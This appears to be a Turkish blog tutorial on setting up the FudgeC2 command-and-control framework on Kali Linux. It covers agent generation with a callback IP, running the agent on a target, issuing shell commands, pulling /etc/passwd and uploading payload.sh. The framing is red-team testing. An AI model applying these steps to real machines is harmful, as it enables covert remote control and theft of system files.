**FudgeC2**, Python ile yazılmış, modüler ve hafif bir **Command & Control (C2)** framework’tür. Pentester’lar ve Red Team uzmanları tarafından, hedef makinelerde sessiz ve gizli şekilde komut çalıştırmak, dosya aktarmak ve bağlantı kontrolü sağlamak için kullanılır. FudgeC2, kendi HTTP tabanlı C2 kanalıyla haberleşen **agent**’lar üretir.

**Bu Aracın Özellikleri Nelerdir?**

* **Python tabanlı hafif C2 sunucusu**
* **HTTP tabanlı beacon iletişimi**
* **Linux ve Windows destekli agent’lar**
* **AES şifreleme desteği**
* **İstemci arayüzü üzerinden komut gönderimi**
* **Dosya yükleme/indirme**
* **Shell, CD, LS, Screenshot gibi modüller**

**Bu Aracı Kali Linux’ta Kullanma ve Yapılandırma Adımları**

**Adım 1: FudgeC2’yi Klonla ve Gereksinimleri Yükle**

“git clone https://github.com/Ziconius/FudgeC2.git”

“cd FudgeC2”

“sudo apt install python3 python3-pip -y”

“pip3 install -r requirements.txt”

**Adım 2: C2 Sunucusunu Başlat**

“python3 fudge.py”

**metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu**

**Adım 3: Agent (Payload) Oluştur**

“python3 generator.py”

Agent oluşturma sırasında istenen bilgileri gir:

* Callback IP: 192.168.1.100
* Port: 5000
* Platform: linux (veya windows)

**metin, yazı tipi, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu**

**Adım 4: Oluşturulan Agent’ı Hedef Makinede Çalıştır**

Test ortamında hedef sistemde çalıştır:

Komut (hedef makinede)

“python3 agent\_linux.py”

**Adım 5: C2 Konsolundan Agent Bağlantısını Gör**

Terminalde sunucuda otomatik görünür:

yazı tipi, metin, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 6: Agent’a Komut Gönder (Örnek: Komut çalıştır)**

“> interact e5c8f8a7

fudge> shell

fudge(shell)> whoami”

yazı tipi, metin, ekran görüntüsü, grafik içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 7: Dosya Yükleme ve İndirme**

“fudge> download /etc/passwd

fudge> upload payload.sh /tmp/payload.sh”